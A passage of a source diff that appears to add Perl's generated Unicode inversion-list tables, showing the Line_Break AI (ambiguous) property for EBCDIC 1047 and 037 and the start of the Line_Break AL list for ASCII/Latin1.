+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__AI_invlist[] = { /* for EBCDIC 1047 */
+	225,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x9A,
+	0x9C,
+	0x9D,
+	0x9E,
+	0xB3,
+	0xB4,
+	0xB5,
+	0xBA,
+	0xBB,
+	0xBC,
+	0xBF,
+	0xC0,
+	0xDA,
+	0xDB,
+	0xE1,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xFA,
+	0xFB,
+	0x2C7,
+	0x2C8,
+	0x2C9,
+	0x2CC,
+	0x2CD,
+	0x2CE,
+	0x2D0,
+	0x2D1,
+	0x2D8,
+	0x2DC,
+	0x2DD,
+	0x2DE,
+	0x2015,
+	0x2017,
+	0x2020,
+	0x2022,
+	0x203B,
+	0x203C,
+	0x2074,
+	0x2075,
+	0x207F,
+	0x2080,
+	0x2081,
+	0x2085,
+	0x2105,
+	0x2106,
+	0x2113,
+	0x2114,
+	0x2121,
+	0x2123,
+	0x212B,
+	0x212C,
+	0x2154,
+	0x2156,
+	0x215B,
+	0x215C,
+	0x215E,
+	0x215F,
+	0x2160,
+	0x216C,
+	0x2170,
+	0x217A,
+	0x2189,
+	0x218A,
+	0x2190,
+	0x219A,
+	0x21D2,
+	0x21D3,
+	0x21D4,
+	0x21D5,
+	0x2200,
+	0x2201,
+	0x2202,
+	0x2204,
+	0x2207,
+	0x2209,
+	0x220B,
+	0x220C,
+	0x220F,
+	0x2210,
+	0x2211,
+	0x2212,
+	0x2215,
+	0x2216,
+	0x221A,
+	0x221B,
+	0x221D,
+	0x2221,
+	0x2223,
+	0x2224,
+	0x2225,
+	0x2226,
+	0x2227,
+	0x222D,
+	0x222E,
+	0x222F,
+	0x2234,
+	0x2238,
+	0x223C,
+	0x223E,
+	0x2248,
+	0x2249,
+	0x224C,
+	0x224D,
+	0x2252,
+	0x2253,
+	0x2260,
+	0x2262,
+	0x2264,
+	0x2268,
+	0x226A,
+	0x226C,
+	0x226E,
+	0x2270,
+	0x2282,
+	0x2284,
+	0x2286,
+	0x2288,
+	0x2295,
+	0x2296,
+	0x2299,
+	0x229A,
+	0x22A5,
+	0x22A6,
+	0x22BF,
+	0x22C0,
+	0x2312,
+	0x2313,
+	0x2460,
+	0x24FF,
+	0x2500,
+	0x254C,
+	0x2550,
+	0x2575,
+	0x2580,
+	0x2590,
+	0x2592,
+	0x2596,
+	0x25A0,
+	0x25A2,
+	0x25A3,
+	0x25AA,
+	0x25B2,
+	0x25B4,
+	0x25B6,
+	0x25B8,
+	0x25BC,
+	0x25BE,
+	0x25C0,
+	0x25C2,
+	0x25C6,
+	0x25C9,
+	0x25CB,
+	0x25CC,
+	0x25CE,
+	0x25D2,
+	0x25E2,
+	0x25E6,
+	0x25EF,
+	0x25F0,
+	0x2605,
+	0x2607,
+	0x2609,
+	0x260A,
+	0x260E,
+	0x2610,
+	0x2616,
+	0x2618,
+	0x2640,
+	0x2641,
+	0x2642,
+	0x2643,
+	0x2660,
+	0x2662,
+	0x2663,
+	0x2666,
+	0x2667,
+	0x2668,
+	0x2669,
+	0x266B,
+	0x266C,
+	0x266E,
+	0x266F,
+	0x2670,
+	0x269E,
+	0x26A0,
+	0x26C9,
+	0x26CD,
+	0x26D2,
+	0x26D3,
+	0x26D5,
+	0x26D8,
+	0x26DA,
+	0x26DC,
+	0x26DD,
+	0x26DF,
+	0x26E3,
+	0x26E4,
+	0x26E8,
+	0x26EA,
+	0x26EB,
+	0x26F1,
+	0x26F6,
+	0x26F7,
+	0x26FB,
+	0x26FD,
+	0x2757,
+	0x2758,
+	0x2776,
+	0x2794,
+	0x2B55,
+	0x2B5A,
+	0x3248,
+	0x3250,
+	0xFFFD,
+	0xFFFE,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12E,
+	0x1F130,
+	0x1F16A,
+	0x1F170,
+	0x1F1AD
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__AI_invlist[] = { /* for EBCDIC 037 */
+	225,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x9A,
+	0x9C,
+	0x9D,
+	0x9E,
+	0xB3,
+	0xB4,
+	0xB5,
+	0xBA,
+	0xBD,
+	0xBE,
+	0xBF,
+	0xC0,
+	0xDA,
+	0xDB,
+	0xE1,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xFA,
+	0xFB,
+	0x2C7,
+	0x2C8,
+	0x2C9,
+	0x2CC,
+	0x2CD,
+	0x2CE,
+	0x2D0,
+	0x2D1,
+	0x2D8,
+	0x2DC,
+	0x2DD,
+	0x2DE,
+	0x2015,
+	0x2017,
+	0x2020,
+	0x2022,
+	0x203B,
+	0x203C,
+	0x2074,
+	0x2075,
+	0x207F,
+	0x2080,
+	0x2081,
+	0x2085,
+	0x2105,
+	0x2106,
+	0x2113,
+	0x2114,
+	0x2121,
+	0x2123,
+	0x212B,
+	0x212C,
+	0x2154,
+	0x2156,
+	0x215B,
+	0x215C,
+	0x215E,
+	0x215F,
+	0x2160,
+	0x216C,
+	0x2170,
+	0x217A,
+	0x2189,
+	0x218A,
+	0x2190,
+	0x219A,
+	0x21D2,
+	0x21D3,
+	0x21D4,
+	0x21D5,
+	0x2200,
+	0x2201,
+	0x2202,
+	0x2204,
+	0x2207,
+	0x2209,
+	0x220B,
+	0x220C,
+	0x220F,
+	0x2210,
+	0x2211,
+	0x2212,
+	0x2215,
+	0x2216,
+	0x221A,
+	0x221B,
+	0x221D,
+	0x2221,
+	0x2223,
+	0x2224,
+	0x2225,
+	0x2226,
+	0x2227,
+	0x222D,
+	0x222E,
+	0x222F,
+	0x2234,
+	0x2238,
+	0x223C,
+	0x223E,
+	0x2248,
+	0x2249,
+	0x224C,
+	0x224D,
+	0x2252,
+	0x2253,
+	0x2260,
+	0x2262,
+	0x2264,
+	0x2268,
+	0x226A,
+	0x226C,
+	0x226E,
+	0x2270,
+	0x2282,
+	0x2284,
+	0x2286,
+	0x2288,
+	0x2295,
+	0x2296,
+	0x2299,
+	0x229A,
+	0x22A5,
+	0x22A6,
+	0x22BF,
+	0x22C0,
+	0x2312,
+	0x2313,
+	0x2460,
+	0x24FF,
+	0x2500,
+	0x254C,
+	0x2550,
+	0x2575,
+	0x2580,
+	0x2590,
+	0x2592,
+	0x2596,
+	0x25A0,
+	0x25A2,
+	0x25A3,
+	0x25AA,
+	0x25B2,
+	0x25B4,
+	0x25B6,
+	0x25B8,
+	0x25BC,
+	0x25BE,
+	0x25C0,
+	0x25C2,
+	0x25C6,
+	0x25C9,
+	0x25CB,
+	0x25CC,
+	0x25CE,
+	0x25D2,
+	0x25E2,
+	0x25E6,
+	0x25EF,
+	0x25F0,
+	0x2605,
+	0x2607,
+	0x2609,
+	0x260A,
+	0x260E,
+	0x2610,
+	0x2616,
+	0x2618,
+	0x2640,
+	0x2641,
+	0x2642,
+	0x2643,
+	0x2660,
+	0x2662,
+	0x2663,
+	0x2666,
+	0x2667,
+	0x2668,
+	0x2669,
+	0x266B,
+	0x266C,
+	0x266E,
+	0x266F,
+	0x2670,
+	0x269E,
+	0x26A0,
+	0x26C9,
+	0x26CD,
+	0x26D2,
+	0x26D3,
+	0x26D5,
+	0x26D8,
+	0x26DA,
+	0x26DC,
+	0x26DD,
+	0x26DF,
+	0x26E3,
+	0x26E4,
+	0x26E8,
+	0x26EA,
+	0x26EB,
+	0x26F1,
+	0x26F6,
+	0x26F7,
+	0x26FB,
+	0x26FD,
+	0x2757,
+	0x2758,
+	0x2776,
+	0x2794,
+	0x2B55,
+	0x2B5A,
+	0x3248,
+	0x3250,
+	0xFFFD,
+	0xFFFE,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12E,
+	0x1F130,
+	0x1F16A,
+	0x1F170,
+	0x1F1AD
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_LB__AL_invlist[] = { /* for ASCII/Latin1 */
+	1443,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x23,
+	0x24,
 	0x26,
+	0x27,
+	0x2A,
+	0x2B,
+	0x3C,
+	0x3F,
 	0x40,
-	0x41,
+	0x5B,
+	0x5E,
+	0x7B,
+	0x7E,
+	0x7F,
+	0xA6,
+	0xA7,
+	0xA9,
+	0xAA,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xB0,
+	0xB5,
+	0xB6,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x2C7,
+	0x2CE,
+	0x2D0,
+	0x2D1,
+	0x2D8,
+	0x2DC,
+	0x2DD,
+	0x2DE,
+	0x2DF,
+	0x2E0,
+	0x300,
+	0x370,
+	0x378,
+	0x37A,
+	0x37E,
+	0x37F,
+	0x380,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x483,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x58D,
+	0x58F,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5F3,
+	0x5F5,
+	0x600,
+	0x609,
+	0x60E,
+	0x610,
+	0x620,
+	0x64B,
+	0x66D,
+	0x670,
+	0x671,
+	0x6D4,
+	0x6D5,
+	0x6D6,
+	0x6DD,
+	0x6DF,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EA,
+	0x6EE,
+	0x6F0,
+	0x6FA,
+	0x70E,
+	0x70F,
+	0x711,
+	0x712,
+	0x730,
+	0x74D,
+	0x7A6,
+	0x7B1,
+	0x7B2,
+	0x7CA,
+	0x7EB,
+	0x7F4,
+	0x7F8,
+	0x7FA,
+	0x7FB,
+	0x800,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x830,
+	0x83F,
+	0x840,
+	0x859,
+	0x85E,
+	0x85F,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8E2,
+	0x8E3,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x970,
+	0x981,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BD,
+	0x9BE,
+	0x9CE,
+	0x9CF,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E2,
+	0x9F0,
+	0x9F2,
+	0x9F4,
+	0x9F9,
+	0x9FA,
+	0x9FB,
+	0x9FC,
+	0x9FE,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA72,
+	0xA75,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABD,
+	0xABE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE2,
+	0xAF0,
+	0xAF1,
+	0xAF9,
+	0xAFA,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3D,
+	0xB3E,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB70,
+	0xB78,
+	0xB83,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBD0,
+	0xBD1,
+	0xBF0,
+	0xBF9,
+	0xBFA,
+	0xBFB,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC3E,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC62,
+	0xC78,
+	0xC81,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBD,
+	0xCBE,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCF1,
+	0xCF3,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD4E,
+	0xD50,
+	0xD54,
+	0xD57,
+	0xD58,
+	0xD62,
+	0xD70,
+	0xD79,
+	0xD7A,
+	0xD80,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDF4,
+	0xDF5,
+	0xE4F,
+	0xE50,
+	0xF00,
+	0xF01,
+	0xF05,
+	0xF06,
+	0xF13,
+	0xF14,
+	0xF15,
+	0xF18,
+	0xF1A,
+	0xF20,
+	0xF2A,
+	0xF34,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF88,
+	0xF8D,
+	0xFC0,
+	0xFC6,
+	0xFC7,
+	0xFCD,
+	0xFCE,
+	0xFD0,
+	0xFD4,
+	0xFD9,
+	0x104C,
+	0x1050,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x1100,
+	0x1200,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x1360,
+	0x1361,
+	0x1362,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1401,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1712,
+	0x1720,
+	0x1732,
+	0x1740,
+	0x1752,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x17D9,
+	0x17DA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x1802,
+	0x1807,
+	0x1808,
+	0x180A,
+	0x180B,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1940,
+	0x1941,
+	0x19E0,
+	0x1A17,
+	0x1A1E,
+	0x1A20,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B4C,
+	0x1B5C,
+	0x1B5D,
+	0x1B61,
+	0x1B6B,
+	0x1B74,
+	0x1B7D,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BB0,
+	0x1BBA,
+	0x1BE6,
+	0x1BFC,
+	0x1C24,
+	0x1C4D,
+	0x1C50,
+	0x1C5A,
+	0x1C7E,
+	0x1C80,
+	0x1C89,
+	0x1CC0,
+	0x1CC8,
+	0x1CD3,
+	0x1CD4,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1D00,
+	0x1DC0,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x1FFE,
+	0x1FFF,
+	0x2017,
+	0x2018,
+	0x2022,
+	0x2024,
+	0x2038,
+	0x2039,
+	0x203E,
+	0x2044,
+	0x204A,
+	0x2056,
+	0x2057,
+	0x2058,
+	0x205C,
+	0x205D,
+	0x2061,
+	0x2065,
+	0x2070,
+	0x2072,
+	0x2075,
+	0x207D,
+	0x2080,
+	0x2081,
+	0x2085,
+	0x208D,
+	0x2090,
+	0x209D,
+	0x2100,
+	0x2103,
+	0x2104,
+	0x2105,
+	0x2106,
+	0x2109,
+	0x210A,
+	0x2113,
+	0x2114,
+	0x2116,
+	0x2117,
+	0x2121,
+	0x2123,
+	0x212B,
+	0x212C,
+	0x2154,
+	0x2156,
+	0x215B,
+	0x215C,
+	0x215E,
+	0x215F,
+	0x2160,
+	0x216C,
+	0x2170,
+	0x217A,
+	0x2189,
+	0x218A,
+	0x218C,
+	0x219A,
+	0x21D2,
+	0x21D3,
+	0x21D4,
+	0x21D5,
+	0x2200,
+	0x2201,
+	0x2202,
+	0x2204,
+	0x2207,
+	0x2209,
+	0x220B,
+	0x220C,
+	0x220F,
+	0x2210,
+	0x2211,
+	0x2214,
+	0x2215,
+	0x2216,
+	0x221A,
+	0x221B,
+	0x221D,
+	0x2221,
+	0x2223,
+	0x2224,
+	0x2225,
+	0x2226,
+	0x2227,
+	0x222D,
+	0x222E,
+	0x222F,
+	0x2234,
+	0x2238,
+	0x223C,
+	0x223E,
+	0x2248,
+	0x2249,
+	0x224C,
+	0x224D,
+	0x2252,
+	0x2253,
+	0x2260,
+	0x2262,
+	0x2264,
+	0x2268,
+	0x226A,
+	0x226C,
+	0x226E,
+	0x2270,
+	0x2282,
+	0x2284,
+	0x2286,
+	0x2288,
+	0x2295,
+	0x2296,
+	0x2299,
+	0x229A,
+	0x22A5,
+	0x22A6,
+	0x22BF,
+	0x22C0,
+	0x22EF,
+	0x22F0,
+	0x2308,
+	0x230C,
+	0x2312,
+	0x2313,
+	0x231A,
+	0x231C,
+	0x2329,
+	0x232B,
+	0x23F0,
+	0x23F4,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x24FF,
+	0x2500,
+	0x254C,
+	0x2550,
+	0x2575,
+	0x2580,
+	0x2590,
+	0x2592,
+	0x2596,
+	0x25A0,
+	0x25A2,
+	0x25A3,
+	0x25AA,
+	0x25B2,
+	0x25B4,
+	0x25B6,
+	0x25B8,
+	0x25BC,
+	0x25BE,
+	0x25C0,
+	0x25C2,
+	0x25C6,
+	0x25C9,
+	0x25CB,
+	0x25CC,
+	0x25CE,
+	0x25D2,
+	0x25E2,
+	0x25E6,
+	0x25EF,
+	0x25F0,
+	0x2600,
+	0x2604,
+	0x2605,
+	0x2607,
+	0x2609,
+	0x260A,
+	0x260E,
+	0x2610,
+	0x2614,
+	0x2619,
+	0x261A,
+	0x2620,
+	0x2639,
+	0x263C,
+	0x2640,
+	0x2641,
+	0x2642,
+	0x2643,
+	0x2660,
+	0x2662,
+	0x2663,
+	0x2666,
+	0x2667,
+	0x266B,
+	0x266C,
+	0x266E,
+	0x266F,
+	0x2670,
+	0x267F,
+	0x2680,
+	0x269E,
+	0x26A0,
+	0x26BD,
+	0x26CE,
+	0x26CF,
+	0x26E2,
+	0x26E3,
+	0x26E4,
+	0x26E8,
+	0x2705,
+	0x2708,
+	0x270E,
+	0x2757,
+	0x2758,
+	0x275B,
+	0x2761,
+	0x2762,
+	0x2765,
+	0x2768,
+	0x2794,
+	0x27C5,
+	0x27C7,
+	0x27E6,
+	0x27F0,
+	0x2983,
+	0x2999,
+	0x29D8,
+	0x29DC,
+	0x29FC,
+	0x29FE,
+	0x2B55,
+	0x2B5A,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2CFD,
+	0x2CFE,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2E16,
+	0x2E17,
+	0x2E1A,
+	0x2E1C,
+	0x2E1E,
+	0x2E20,
+	0x2E2F,
+	0x2E30,
+	0x2E32,
+	0x2E33,
+	0x2E35,
+	0x2E3A,
+	0x2E3F,
+	0x2E40,
+	0x4DC0,
+	0x4E00,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA620,
+	0xA62A,
+	0xA62C,
+	0xA640,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA6F3,
+	0xA700,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA828,
+	0xA82C,
+	0xA830,
+	0xA838,
+	0xA839,
+	0xA83A,
+	0xA840,
+	0xA874,
+	0xA882,
+	0xA8B4,
+	0xA8F2,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA90A,
+	0xA926,
+	0xA930,
+	0xA947,
+	0xA95F,
+	0xA960,
+	0xA984,
+	0xA9B3,
+	0xA9C1,
+	0xA9C7,
+	0xA9CA,
+	0xA9CE,
+	0xA9CF,
+	0xA9D0,
+	0xA9DE,
+	0xA9E0,
+	0xAA00,
+	0xAA29,
+	0xAA40,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA5C,
+	0xAA5D,
+	0xAAE0,
+	0xAAEB,
+	0xAAF2,
+	0xAAF5,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB66,
+	0xAB70,
+	0xABE3,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB29,
+	0xFB2A,
+	0xFB50,
+	0xFBC2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFDFD,
+	0xFDFE,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFFE8,
+	0xFFEF,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x1018F,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
+	0x101FD,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E1,
+	0x102FC,
+	0x10300,
+	0x10324,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x10376,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x103D1,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x1056F,
+	0x10570,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10858,
+	0x1089F,
+	0x108A7,
+	0x108B0,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x108FB,
+	0x1091C,
+	0x10920,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10980,
+	0x109B8,
+	0x109BC,
+	0x109D0,
+	0x109D2,
+	0x10A01,
+	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A40,
+	0x10A48,
+	0x10A58,
+	0x10A59,
+	0x10A60,
+	0x10AA0,
+	0x10AC0,
+	0x10AE5,
+	0x10AEB,
+	0x10AF0,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B58,
+	0x10B73,
+	0x10B78,
+	0x10B92,
+	0x10B99,
+	0x10B9D,
+	0x10BA9,
+	0x10BB0,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11003,
+	0x11038,
+	0x11049,
+	0x1104E,
+	0x11052,
+	0x11066,
+	0x11083,
+	0x110B0,
+	0x110BB,
+	0x110BE,
+	0x110D0,
+	0x110E9,
+	0x11103,
+	0x11127,
+	0x11150,
+	0x11173,
+	0x11174,
+	0x11175,
+	0x11176,
+	0x11177,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111C5,
+	0x111C7,
+	0x111C8,
+	0x111C9,
+	0x111CA,
+	0x111CD,
+	0x111CE,
+	0x111DA,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x111E1,
+	0x111F5,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1122C,
+	0x1123A,
+	0x1123B,
+	0x1123D,
+	0x1123E,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112DF,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133D,
+	0x1133E,
+	0x11350,
+	0x11351,
+	0x1135D,
+	0x11362,
+	0x11400,
+	0x11435,
+	0x11447,
+	0x1144B,
+	0x1144F,
+	0x11450,
+	0x1145D,
+	0x1145E,
+	0x11480,
+	0x114B0,
+	0x114C4,
+	0x114C8,
+	0x11580,
+	0x115AF,
+	0x115C6,
+	0x115C9,
+	0x115D8,
+	0x115DC,
+	0x11600,
+	0x11630,
+	0x11643,
+	0x11645,
+	0x11680,
+	0x116AB,
+	0x118A0,
+	0x118E0,
+	0x118EA,
+	0x118F3,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A40,
+	0x11A41,
+	0x11A46,
+	0x11A47,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C2F,
+	0x11C40,
+	0x11C41,
+	0x11C5A,
+	0x11C6D,
+	0x11C72,
+	0x11C90,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D46,
+	0x11D47,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x13258,
+	0x1325E,
+	0x13282,
+	0x13283,
+	0x13286,
+	0x1328A,
+	0x13379,
+	0x1337C,
+	0x1342F,
+	0x14400,
+	0x145CE,
+	0x145D0,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16AD0,
+	0x16AEE,
